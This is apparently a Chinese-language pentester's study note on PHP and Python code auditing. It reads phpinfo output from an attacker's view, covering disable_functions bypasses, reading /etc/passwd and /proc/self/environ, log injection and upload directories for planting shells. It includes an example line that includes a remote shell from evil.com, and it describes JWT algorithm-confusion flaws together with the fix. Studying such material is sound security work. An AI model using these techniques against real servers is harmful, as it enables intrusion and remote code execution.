渗透进阶 · 代码审计
危险函数
- passthru() 直接输出命令执行的原始结果
system()
执行一个外部程序,并显示输出。shell_exec()
执行一个命令并将整个输出以字符串返回dl()
运行时加载 PHP 扩展库mail()
邮件发送putenv()
环境控制
phpinfo.php
DOCUMENT_ROOT
Web根目录位置
System
,Server API
,Loaded Configuration File
*
System
:确认目标是 Linux 还是 Windows,后续命令不同。Server API
(如 Apache 2.0 Handler 或 CGI/FPM):影响命令执行方式。Loaded Configuration File
:比如/etc/php/7.4/apache2/php.ini
,可以用于寻找日志注入、配置提权。
🔍 3. disable_functions
看这项有没有禁用 system
, exec
, shell_exec
, popen
, proc_open
等函数。
- 如果这些函数全开,那简直就是裸奔。
- 如果被禁用太多了,可以考虑
LD_PRELOAD
、imap_open
、FFI
等旁门左道打洞法~
📁 4. open_basedir
是否开启路径限制?如果没开,你可以遍历任意目录(比如 /etc/passwd
, /proc/self/environ
)。
🌐 5. HTTP Headers
如:
$_SERVER['HTTP_USER_AGENT']
(可用于日志注入)$_SERVER['HTTP_COOKIE']
(绕过某些 WAF 策略)REMOTE_ADDR
,SERVER_ADDR
,SERVER_PORT
(搞内网探测时好用)
🛣 6. include_path
这决定了 include('abc.php')
时的默认查找目录,可以用来搞:
- LFI 本地包含漏洞
auto_prepend_file
/auto_append_file
提权
🔗 7. Environment
和 PATH
有时能看到 PATH 里包含了啥路径(像 /usr/bin
, /tmp
, /home/user/bin
),可用于寻找可执行程序或写权限。
💣 8. curl
, allow_url_fopen
, allow_url_include
- 如果开启了
allow_url_include
,那你甚至可以include("http://evil.com/shell.txt")
,远程执行代码。 curl
存在就可以远程下载 payload。
📜 9. 模块信息
比如这些模块:
mysqli
/pdo_mysql
:说明可注入点很可能与数据库交互imap
:配合imap_open()
实现命令执行FFI
:可以调用 C 语言库,提权绕 disable_functionssoap
,xml
,zip
:有特定的利用链
🔐 10. 上传文件相关
file_uploads
:是否允许上传upload_tmp_dir
:上传文件的临时目录(可打马)upload_max_filesize
和post_max_size
:控制上传大小限制max_execution_time
:避免你上传大文件或打超时 payload 被中断
spel注入,命令执行
python
- pickle 是 Python 内置的对象序列化模块,但它可以执行任意代码。
JWT伪造相关代码审计
JWT 一般分成三部分(以.
分隔):
<Header>.<Payload>.<Signature>
算法降级源码分析
header = jwt.get_unverified_header(token)
**get_unverified_header()** 不会校验签名,所以可能会被攻击者伪造内容,如alg none 攻击
signature_algorithm = header['alg']
重大安全隐患是:“信任用户提供的签名算法”
payload = jwt.decode(token, self.secret, algorithms=signature_algorithm)
不应该如此写,应用白名单列表限制算法,防止空算法等